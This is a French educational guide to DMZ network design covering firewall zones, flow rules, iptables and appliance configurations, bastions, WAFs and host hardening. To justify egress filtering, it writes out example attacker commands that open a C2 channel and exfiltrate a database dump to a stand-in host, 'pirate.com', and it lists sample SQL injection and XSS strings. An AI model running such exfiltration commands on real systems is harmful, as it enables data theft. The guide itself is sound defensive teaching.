đĄïž DMZ â Zone DĂ©militarisĂ©e, Architecture & SĂ©curitĂ©
Guide complet IDEO-Lab sur la conception de zones tampons sécurisées (Firewall).
Concept : DMZ
Zone Démilitarisée. Réseau tampon (buffer).
DMZ Sécurité FirewallConcept : Zones de Confiance
Trust (LAN), Untrust (WAN), Semi-Trust (DMZ).
Zones Trust UntrustObjectif : Isolation
Protéger le LAN si un serveur public est compromis.
Isolation SécuritéArchitecture : 1 Firewall
"3-Legged". Une interface WAN, LAN, DMZ.
3-Legged ArchitectureArchitecture : 2 Firewalls
"Back-to-back". Le standard (Haute Sécurité).
Back-to-back Défense en profondeurArchitecture : Cloud
VPC/VNet, Subnets (Public, DMZ, Private), SG/NACL.
Cloud VPC Security GroupRĂšgle : WAN -> DMZ
PERMIT (Sélectif). (DNAT/Port Fwd) vers 80/443.
Flux PERMIT DNATRĂšgle : DMZ -> WAN
DENY (Recommandé). (Bloque C2, Exfiltration).
Flux DENYRĂšgle : LAN <-> DMZ
LAN -> DMZ (Permit). DMZ -> LAN (DENY !).
Flux DENYService : Serveurs Web
Nginx, Apache. (Hébergement public).
Web Server NginxService : Relais Mail
SMTP Gateway (MTA). Filtre (Spam/Virus).
SMTP MTAService : DNS (Split-Brain)
Split-DNS (DNS Externe vs DNS Interne).
DNS Split-BrainService : Reverse Proxy
La DMZ "moderne". (Load Balancing, SSL Offload).
Reverse Proxy Load BalancerService : WAF
Web Application Firewall (Filtrage L7, OWASP).
WAF OWASPService : Bastion (Jump Host)
AccÚs Admin sécurisé (SSH/RDP Gateway).
Bastion Jump HostImplémentation (iptables)
Linux (Netfilter). ChaĂźne FORWARD.
iptables FORWARDImplémentation (Appliance)
pfSense, Fortinet, Palo Alto. (RĂšgles GUI).
pfSense FortinetSécurité : Hardening
Sécurisation des hÎtes (Minimal, Patch, Logs).
Hardening HĂŽteCheat-sheet : Matrice de Flux
Tableau (Source -> Dest = Permit/Deny).
Checklist MatriceLe "No Man's Land" du Réseau
Une DMZ (Zone Démilitarisée) est un réseau "tampon" (buffer network), un sous-réseau physique ou logique, qui se situe entre un réseau interne de confiance (le LAN) et un réseau externe non-fiable (le WAN / Internet).
Objectif Principal
L'objectif est d'exposer des services publics (comme un serveur Web, Mail, ou DNS) Ă Internet, tout en protĂ©geant le rĂ©seau interne (LAN) au cas oĂč l'un de ces services publics serait compromis (hackĂ©).
Analogie
C'est le "sas d'entrée" d'un chùteau fort :
- LAN (Trust) : La cour intĂ©rieure, le donjon (oĂč vit le Roi). TrĂšs protĂ©gĂ©.
- WAN (Untrust) : L'extĂ©rieur (la forĂȘt, les ennemis).
- DMZ (Semi-Trust) : La "barbacane" ou la cour extĂ©rieure. C'est lĂ que vous recevez les marchands (visiteurs publics). Si un marchand (trafic) se rĂ©vĂšle ĂȘtre un attaquant, il est piĂ©gĂ© dans la cour extĂ©rieure et ne peut pas atteindre le donjon (LAN).
Un firewall ne pense pas en termes de "ports", il pense en termes de "Zones" (niveaux de confiance). La DMZ est la 3Ăšme zone fondamentale.
âââââââââââââââââââââââââââââ
â FIREWALL â
â â
(Zone 0 - UNTRUST) â (Interface WAN) â
INTERNET <ââââââââââââââââââââ†eth0 â
â (IP: 80.1.2.3) â
â â
â (Interface LAN) â
RĂ©seau Interne (EmployĂ©s) <âââââââ†eth1 â
(Zone 100 - TRUST) â (IP: 192.168.1.1/24) â
â â
â (Interface DMZ) â
Serveurs Publics (Web/Mail) <âââââ†eth2 â
(Zone 50 - SEMI-TRUST) â (IP: 172.16.1.1/24) â
â â
âââââââââââââââââââââââââââââ
Le travail du firewall est ensuite d'écrire des rÚgles (ACLs) sur ce qui est autorisé à passer entre ces zones.
Le Scénario Catastrophe (Sans DMZ)
Si vous hébergez votre serveur web (192.168.1.100) directement dans votre LAN (Trust), vous devez créer une rÚgle de Port Forwarding (NAT) : WAN (Port 443) -> 192.168.1.100.
Le ProblĂšme :
- Un pirate exploite une faille (ex: Injection SQL, Log4j) sur votre serveur web et obtient un shell.
- L'attaquant est directement dans votre réseau "Trust" (LAN).
- Il peut maintenant scanner (
nmap) et pivoter pour attaquer :- Le serveur Active Directory (ContrĂŽleur de Domaine).
- Le serveur de fichiers.
- Le PC de la comptabilité.
La Solution (Avec DMZ)
Le serveur web est dans la DMZ (172.16.1.100). Si le pirate le compromet, il est piĂ©gĂ©. La rĂšgle du firewall DENY DMZ -> LAN (voir 4.1) l'empĂȘche de scanner ou d'atteindre le rĂ©seau interne.
C'est l'architecture DMZ la plus courante (PME, SOHO). Elle utilise un seul firewall (Appliance ou Linux) avec (au moins) trois interfaces ("jambes").
âââââââââââââââââââââââââââââ
â FIREWALL (1) â
â (ex: pfSense) â
â â
(WAN) INTERNET <ââââââââââââââââ†eth0 (WAN / Untrust) â
â â
(LAN) RĂ©seau Interne <ââââââââââ†eth1 (LAN / Trust) â
â â
(DMZ) Serveurs Publics <ââââââââ†eth2 (DMZ / Semi-Trust) â
â â
âââââââââââââââââââââââââââââ
Avantages
- Coût : Un seul appareil (firewall) à acheter et à gérer.
- Simplicité : Toute la configuration (NAT, ACL, Routage) est centralisée sur un seul appareil.
Inconvénients
- SPOF (Single Point of Failure) : Si le firewall tombe en panne, tout s'arrĂȘte (Internet, LAN, DMZ).
- Risque de Configuration : Une seule erreur dans une rĂšgle ACL (ex:
PERMIT DMZ -> LAN) compromet toute la sécurité.
C'est l'architecture haute sécurité (standard "Entreprise", "Défense en profondeur"). Elle utilise deux firewalls (souvent de marques différentes) pour créer la DMZ.
(WAN) INTERNET â ⌠[ FW 1 (Externe) ] <- "Le Firewall de Façade" â (Interface DMZ) â ââââââââââââââââââ> [ Serveur Web (DMZ) ] â â ⌠(Interface "Interne") [ FW 2 (Interne) ] <- "Le Firewall du CĆur" â â ⌠[ LAN (Trust) ]
Le réseau entre les deux firewalls est la DMZ.
Avantages
- Défense en Profondeur : L'attaquant doit compromettre deux firewalls (potentiellement de deux constructeurs différents) pour atteindre le LAN.
- SpĂ©cialisation : FW 1 peut ĂȘtre un NGFW/WAF (orientĂ© Web), FW 2 peut ĂȘtre un pare-feu L3/L4 (orientĂ© flux internes).
Inconvénients
- Coût : Double (matériel, licences).
- Complexité : Plus complexe à configurer (routage, NAT).
Dans le Cloud (AWS, Azure, GCP), le concept de DMZ est implémenté via la segmentation de sous-réseaux (Subnets) et des groupes de sécurité (Firewalls virtuels).
Architecture Type (AWS VPC)
[ INTERNET ]
â
âŒ
[ Internet Gateway (IGW) ]
â
âŒ
[ VPC (Réseau Cloud) ]
ââ [ Subnet Public (DMZ) ] ââââââââ (Route vers IGW)
â ââ [ Load Balancer (ALB/NLB) ]
â ââ [ NAT Gateway ]
â
ââ [ Subnet PrivĂ© (LAN) ] ââââââââ (Route vers NAT GW)
ââ [ Serveur Web/App 1 ]
ââ [ Serveur Web/App 2 ]
ââ [ Base de DonnĂ©es (RDS) ]
Filtrage (Firewalls Cloud)
- NACL (Network ACL) : (Stateless) Appliqué au Subnet. (ex:
DENY SSH from ANY). - Security Group (SG) : (Stateful) Appliqué à l'Instance (VM). (ex:
ALLOW TCP 443 from Load Balancer).
Ici, le "Subnet Public" (oĂč vit le Load Balancer) agit comme la DMZ.
C'est la rÚgle qui autorise le public à accéder à vos serveurs. C'est la seule rÚgle "PERMIT" initiée depuis "Untrust".
Cette rĂšgle est toujours restrictive (Whitelist).
Implémentation (Port Forwarding / DNAT)
C'est une combinaison d'une rĂšgle DNAT (Port Forwarding) et d'une rĂšgle Firewall (ACL).
Exemple (Serveur Web)
RĂšgle DNAT (NAT Entrant) :
- Trafic arrivant sur
80.1.2.3(IP Publique) au port443(HTTPS) - ... est translaté vers
172.16.1.10(IP DMZ) au port443.
RĂšgle Firewall (ACL) :
RĂšgle 1: Action: PERMIT Source: ANY (Internet) Destination: 172.16.1.10 (Serveur Web DMZ) Service: TCP 443 (HTTPS)
Bonne Pratique : Ne jamais faire PERMIT ANY -> ANY (DMZ). N'ouvrir que les ports explicitement nécessaires (80, 443, 25...).
La RÚgle Souvent Oubliée
Que se passe-t-il si un serveur de la DMZ (ex: votre serveur web) est compromis ?
La premiĂšre chose que l'attaquant (malware) tentera de faire est :
- Contacter son serveur de Command & Control (C2) (ex:
ssh pirate.com:2222) pour recevoir des ordres. - Exfiltrer des données (ex:
scp /data/db.dump pirate.com:/uploads/). - Télécharger (
curl,wget) d'autres outils malveillants.
La RÚgle : DENY par Défaut
Par dĂ©faut, la rĂšgle de flux DMZ -> WAN doit ĂȘtre DENY ALL (Implicit Deny).
Vous ne devez autoriser que les flux sortants explicitement nécessaires (Whitelist).
Exemple d'ACL (Sortant DMZ) :
RĂšgle 1: (Mises Ă jour OS) PERMIT TCP [Serveur DMZ] -> [IP_Repo_Ubuntu] Port 80 RĂšgle 2: (RequĂȘtes DNS) PERMIT UDP [Serveur DMZ] -> [DNS 8.8.8.8] Port 53 RĂšgle 3: (Implicit Deny) DENY IP ANY ANY (log)
Flux LAN (Trust) -> DMZ (Semi-Trust)
Ce flux est gĂ©nĂ©ralement autorisĂ©, mais doit ĂȘtre restreint.
Exemple : Les administrateurs (dans le LAN) doivent pouvoir se connecter aux serveurs (dans la DMZ) pour les gérer.
Bonnes Pratiques (ACL) :
RĂšgle 1: (Admin) PERMIT TCP [IP_Admin_LAN] -> [Serveur_Web_DMZ] Port 22 (SSH) RĂšgle 2: (Monitoring) PERMIT ICMP [Serveur_NMS_LAN] -> [Serveur_Web_DMZ] (Ping) RĂšgle 3: (Refus du reste) DENY IP [LAN_Subnet] -> [DMZ_Subnet]
Flux DMZ (Semi-Trust) -> LAN (Trust)
LA RĂGLE LA PLUS IMPORTANTE : DENY ALL.
C'est le but principal de la DMZ. Un appareil dans la DMZ (ex: serveur web) ne doit JAMAIS ĂȘtre autorisĂ© Ă initier une connexion vers le rĂ©seau interne (LAN).
L'Exception (Risquée) : Base de Données
Parfois, le Serveur Web (DMZ) doit contacter le Serveur de Base de Données (LAN).
RĂšgle 100: (Exception BDD) PERMIT TCP [IP_Web_DMZ] -> [IP_DB_LAN] Port 3306 (MySQL)
Risque : Si le serveur Web est compromis, l'attaquant peut "pivoter" vers le serveur de BDD. C'est pourquoi une architecture "Dual Firewall" (2.2) ou Cloud (2.3) (plaçant la BDD dans son propre segment "Privé") est préférable.
C'est le cas d'usage le plus évident pour une DMZ.
Le serveur (Apache, Nginx, IIS) qui héberge le site web public (www.ideolab.com) est placé dans la DMZ.
Le firewall est configuré (via DNAT/Port Forwarding) pour transférer le trafic entrant TCP 80 (HTTP) et TCP 443 (HTTPS) vers l'IP privée de ce serveur.
(Voir "Reverse Proxy" (5.1) pour une architecture plus moderne oĂč le serveur Nginx/Apache est *lui-mĂȘme* le proxy).
Vous ne devez jamais exposer votre serveur de messagerie interne (ex: Microsoft Exchange) directement Ă Internet.
La bonne pratique est de placer un Relais SMTP (SMTP Gateway / MTA) dans la DMZ (ex: Postfix, Sendmail, ou une appliance Anti-Spam).
Flux (Entrant)
- L'enregistrement MX (DNS) pointe vers l'IP publique du Relais SMTP (DMZ).
- Le firewall autorise TCP 25 (SMTP) de WAN -> DMZ.
- Le Relais (DMZ) reçoit l'email, le scanne (Anti-Spam, Anti-Virus).
- Le firewall autorise TCP 25 de DMZ -> LAN (Serveur Exchange).
- Le Relais transfĂšre l'email (propre) au serveur interne.
Le Split-Brain DNS (ou "Split-Horizon") est une architecture de sĂ©curitĂ© qui utilise deux serveurs DNS (ou plus) pour le mĂȘme domaine, avec des rĂ©ponses diffĂ©rentes selon l'origine de la requĂȘte (Interne ou Externe).
Le ProblĂšme
Un employé (LAN) veut accéder à intranet.ideolab.com. Si son PC utilise le DNS public (8.8.8.8), il reçoit l'IP publique (80.1.2.3). Son trafic doit "sortir" sur Internet pour "rentrer" (Hairpinning) -> Inefficace et pose des problÚmes de sécurité.
La Solution (DMZ & LAN)
- Serveur DNS Externe (dans la DMZ) : (Autoritatif pour Internet)
www.ideolab.com->80.1.2.3(IP Publique)
intranet.ideolab.com-> (N'existe pas)
- Serveur DNS Interne (dans le LAN) : (Utilisé par les employés via DHCP)
www.ideolab.com->172.16.1.10(IP de la DMZ)
intranet.ideolab.com->192.168.1.50(IP du LAN)
L'architecture DMZ "moderne" (surtout Cloud) ne contient souvent qu'un seul type de service : un Reverse Proxy (ex: Nginx, HAProxy, ou un Load Balancer Cloud).
Architecture (Proxy en DMZ)
Dans cette architecture, les serveurs d'application (Web, API) ne sont plus dans la DMZ. Ils sont déplacés dans le LAN (ou un segment "App"), qui est plus sécurisé.
[INTERNET]
â
⌠(Port 443)
[ FIREWALL ]
â
â (RĂšgle : PERMIT WAN -> DMZ (Port 443))
âŒ
[ DMZ ]
ââ [ Reverse Proxy (Nginx) ]
â (Ex: proxy_pass http://192.168.1.100)
â
â (RĂšgle : PERMIT DMZ -> LAN (Port 80))
âŒ
[ FIREWALL ]
â
âŒ
[ LAN ]
ââ [ Serveur Web 1 (192.168.1.100) ] (N'Ă©coute que sur le port 80)
Avantages
- SSL Offloading : Le Nginx (DMZ) gĂšre le HTTPS. Le trafic DMZ -> LAN est en HTTP (simple).
- Load Balancing : Le Nginx (DMZ) répartit la charge vers les serveurs du LAN.
- Sécurité (WAF) : Le Nginx (DMZ) filtre les attaques L7.
- Surface d'Attaque Minimale : Le LAN n'expose aucun port. Le seul appareil compromettable est le Reverse Proxy.
Un WAF est un Firewall de Couche 7 (Application) conçu spécifiquement pour inspecter le trafic HTTP/HTTPS et bloquer les attaques applicatives (ex: OWASP Top 10).
Positionnement
Le WAF est toujours placé dans la DMZ (ou en amont, chez un prestataire Cloud comme Cloudflare).
Il agit comme un Reverse Proxy. Il déchiffre (SSL Offload) le trafic, l'inspecte, puis (s'il est légitime) le re-chiffre (optionnel) et l'envoie au serveur web.
Ce qu'il bloque
- Injections SQL (SQLi) : (ex:
' OR 1=1) - Cross-Site Scripting (XSS) : (ex:
<script>alert(1)</script>) - Path Traversal : (ex:
/etc/passwd) - Bot & Scanners : (ex: Blocage par User-Agent, IP réputée)
ProblĂšme : Comment administrer (SSH, RDP) les serveurs dans la DMZ de maniĂšre sĂ©curisĂ©e ? Ouvrir les ports SSH/RDP de tous les serveurs DMZ Ă Internet (ou mĂȘme au LAN) est une surface d'attaque Ă©norme.
La Solution : Le Bastion
Un Bastion (ou Jump Host / Jump Server) est un unique serveur, placé dans la DMZ, ultra-sécurisé (hardened), qui sert de point d'entrée unique pour l'administration.
Architecture & Flux
RÚgles Firewall (Admin) : 1. PERMIT TCP [IP_Admin_WAN] -> [IP_Bastion_DMZ] (Port 22/SSH) 2. DENY TCP [IP_Admin_WAN] -> [Serveur_Web_DMZ] (Port 22) (Bloqué) 3. PERMIT TCP [IP_Bastion_DMZ] -> [Serveur_Web_DMZ] (Port 22)
- L'Admin (Maison) se connecte en SSH au Bastion (
ssh admin@bastion.ideolab.com). - (Le Bastion doit ĂȘtre ultra-sĂ©curisĂ© : MFA, Fail2Ban, ClĂ©s SSH uniquement).
- Une fois sur le Bastion, l'admin "saute" (jump) en SSH vers le serveur web (
ssh web@172.16.1.10).
Avantages : Surface d'attaque minimisée (1 port SSH ouvert), et tout l'audit (logs) est centralisé sur le Bastion.
Configurer une DMZ "3-Legged" sur un serveur Linux (Netfilter) se fait principalement via la chaĂźne FORWARD (routage) de la table filter.
# Interfaces: # eth0 = WAN (Internet) # eth1 = LAN (Trust - 192.168.1.0/24) # eth2 = DMZ (Semi-Trust - 172.16.1.0/24) # 1. Activer le routage (IP Forwarding) sysctl -w net.ipv4.ip_forward=1 # 2. Politique par défaut : TOUT BLOQUER (Sécurité) iptables -P FORWARD DROP # 3. Autoriser le trafic établi (Stateful) iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT # 4. Autoriser LAN -> WAN (Sortie Internet) iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT # 5. Autoriser WAN -> DMZ (Serveur Web 172.16.1.10) iptables -A FORWARD -i eth0 -o eth2 -d 172.16.1.10 -p tcp --dport 443 -j ACCEPT # 6. Autoriser LAN -> DMZ (Admin SSH) iptables -A FORWARD -i eth1 -o eth2 -d 172.16.1.10 -p tcp --dport 22 -j ACCEPT # 7. RÚgle DMZ -> LAN (DENY) # (Inutile, car la politique par défaut est DROP, mais explicite) iptables -A FORWARD -i eth2 -o eth1 -j DROP
Sur une appliance firewall (pfSense, Fortinet, Palo Alto), la configuration est graphique et basée sur les Zones/Interfaces.
Assignation des Interfaces (Zones)
- WAN : eth0
- LAN : eth1
- DMZ : eth2 (ou OPT1)
RĂšgles de Firewall (Logique)
Les rÚgles sont appliquées sur l'interface entrante (Inbound).
RĂšgles sur l'interface WAN (Untrust) :
1. PERMIT TCP Source:ANY Dest:[IP_WEB_DMZ] Port:443 (DNAT) 2. (Implicit DENY ALL)
RĂšgles sur l'interface LAN (Trust) :
1. PERMIT IP Source:[LAN_Subnet] Dest:ANY (Autorise LAN -> WAN/DMZ) 2. (Implicit DENY ALL)
RĂšgles sur l'interface DMZ (Semi-Trust) :
1. PERMIT UDP Source:[DMZ_Subnet] Dest:[IP_DNS_Public] Port:53 (Autorise DNS) 2. PERMIT TCP Source:[DMZ_Subnet] Dest:[IP_Repo_Ubuntu] Port:80 (Mises Ă jour) 3. (Implicit DENY ALL) <-- Bloque DMZ -> LAN
La DMZ isole, mais ne protĂšge pas le serveur lui-mĂȘme. Les serveurs dans la DMZ sont les plus exposĂ©s et doivent ĂȘtre "durcis" (hardened).
Checklist de Hardening
- Installation Minimale : N'installez que les services nécessaires (ex: Nginx). Pas d'interface graphique (GUI), pas d'outils inutiles.
- Patch Management : Appliquer les mises à jour de sécurité (OS, Nginx, PHP) immédiatement (ex:
unattended-upgrades). - Firewall HĂŽte (HIDS) : Activer le firewall local (
UFW,iptables) en plus du firewall réseau. (Défense en profondeur). - Moindre PrivilÚge : Faire tourner le service (Nginx) avec un utilisateur non-root (ex:
www-data). - Désactiver les services : (
systemctl disable ...) Tout ce qui n'est pas Nginx/SSH. - AccĂšs SSH :
- Désactiver l'authentification par mot de passe (
PasswordAuthentication no). - N'autoriser que l'authentification par clé SSH.
- Limiter (
AllowUsers) l'accĂšs aux admins.
- Désactiver l'authentification par mot de passe (
- Monitoring & Logs : Envoyer tous les logs (auth.log, nginx.log) à un SIEM (Syslog) centralisé (voir 7.1).
C'est la "logique" par défaut que 99% des firewalls doivent implémenter pour une DMZ sécurisée.
| De (Source) | Vers (Destination) | Politique par Défaut | Exceptions (Exemples de PERMIT) |
|---|---|---|---|
| LAN (Trust) | WAN (Untrust) | PERMIT | (Trafic web sortant des utilisateurs). |
| LAN (Trust) | DMZ | DENY (Bonne pratique) | PERMIT TCP (Admin) -> (Serveurs DMZ) Port 22/3389. PERMIT ICMP (Monitoring) -> (Serveurs DMZ). |
| WAN (Untrust) | LAN (Trust) | DENY (Implicit) | (Normalement jamais, sauf VPN Client-to-Site). |
| WAN (Untrust) | DMZ | DENY (Implicit) | (Port Forwarding) PERMIT TCP -> (Serveur Web) Port 443. PERMIT TCP -> (Relais Mail) Port 25. |
| DMZ | LAN (Trust) | DENY (LA RĂGLE CLĂ) | (L'exception risquĂ©e : PERMIT TCP (Web) -> (BDD LAN) Port 3306). |
| DMZ | WAN (Untrust) | DENY (Bonne pratique) | PERMIT TCP -> (Repo Ubuntu) Port 80 (Mises Ă jour). PERMIT UDP -> (DNS Public) Port 53. |
